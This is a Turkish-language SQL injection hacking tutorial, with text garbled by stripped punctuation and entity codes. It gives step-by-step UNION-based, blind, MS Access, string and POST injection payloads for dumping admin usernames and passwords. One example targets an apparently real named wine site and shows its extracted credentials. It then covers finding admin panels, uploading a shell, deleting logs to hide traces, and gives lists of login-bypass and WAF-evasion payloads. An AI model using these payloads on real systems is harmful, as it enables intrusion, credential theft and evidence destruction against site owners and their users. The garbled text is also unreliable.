Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler
Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim
wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml
wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana
Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz
wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi
wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş
Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz
9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)
Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım
Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım
wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz
-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass
Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen
wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit
wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz
wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur
Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden
10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)
Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz
Oumlnce Group_Concat Fonksiyonunu tanıyalım
Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım
wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--
Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik
table_name = Tablo isimleri
information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri
information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir
information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim
Ekrana yansıyan tablo isimlerine bir bakalım
adminresimleradreslerhizmetler vs vs olsun
bize burada lazım olacak tabloyu seccediliyoruz admin
Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız
Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri
Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--
Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz
Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)
Hexlenecek isim database()
Hexlenmiş Hali 64617461626173652829
Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--
Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz
11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)
Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi
Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz
Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Hexlenecek ad admin
Hexlenmiş hali 61646d696e
Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz
Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--
Sorguyu goumlnderdik
Username admin
Password bugres
Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur
UsernamePassword Char Code Ccedilevrilmiş Hali
StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)
Char Code halini group_concat() fonksiyonunun arasına yazıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--
Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz
12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)
Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi
Tekrar hatırlayalım
Uname admin
Pword bugres
Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız
Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim
Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır
Wordpress Admin panel yolu wp-admin
Joomla admin panel yolu administrator
Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz
Tahmine başlıyoruz
wwwsayfamcomadmin -gt Error
wwwsayfamcomyoneticiphp -gt Error
wwwsayfamcomadminphp -gt Error
wwwsayfamcomlog_inphp -gt Yess P
Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz
Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz
13-Saldırı Anı7(İzlerimizi Silmek)
Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor
14-Sonuccedil
Neler yaptık
Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor
15- Kaccedil Tuumlr SQL İnjection Vardır
a-) MySql İnjection
Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız
SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut
Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım
Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı
Bu accedilığın kullanımına geccedilelim
Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam
Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
